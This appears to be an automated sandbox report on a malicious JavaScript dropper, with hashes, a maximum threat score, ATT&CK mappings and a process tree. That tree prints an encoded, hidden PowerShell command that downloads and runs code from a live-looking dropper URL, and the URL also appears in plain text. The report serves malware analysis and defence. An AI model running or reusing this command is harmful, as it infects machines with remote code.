1ad3d657fed89e26d6f54e2d67e95796c096deb76fd2f09972ac63ff9704891f

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
21/04/2024, 12:47

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General

Target

ff4ee1fcd30340236715b83c3bf8db5d_JaffaCakes118.js
Size

390KB
MD5

ff4ee1fcd30340236715b83c3bf8db5d
SHA1

a4f8d3f3f6a934560cf9008d0171d020da775965
SHA256

1ad3d657fed89e26d6f54e2d67e95796c096deb76fd2f09972ac63ff9704891f
SHA512

cd400ad4025ffaa37114069152f253d8e775fe053df8beb69e1a7896171fbc56e3c0966130e78a2916cd3105cb1edff0b7551ae91e7f2a2660ee140408e1da9b
SSDEEP

6144:gP3Lu3x6Yg/q1AYF6EvRbADym7zsMc6hJr0GXXdaP5+5LRPsUDu4RSflDwUfplMu:gPbmxiq1AYF6E62VBElkuNgfZLMen

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://erzurum.us/65376345273497600381/tjTyjrjywrdmJoaaenvF/dll/assistant.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	3004	powershell.exe
6	3004	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 2664	2732	wscript.exe	28
PID 2732 wrote to memory of 2664	2732	wscript.exe	28
PID 2732 wrote to memory of 2664	2732	wscript.exe	28
PID 2664 wrote to memory of 3004	2664	cmd.exe	30
PID 2664 wrote to memory of 3004	2664	cmd.exe	30
PID 2664 wrote to memory of 3004	2664	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ff4ee1fcd30340236715b83c3bf8db5d_JaffaCakes118.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3004-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/3004-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/3004-7-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-8-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/3004-9-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-10-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/3004-11-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/3004-12-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/3004-13-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/3004-14-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Filesize
9.6MB

Download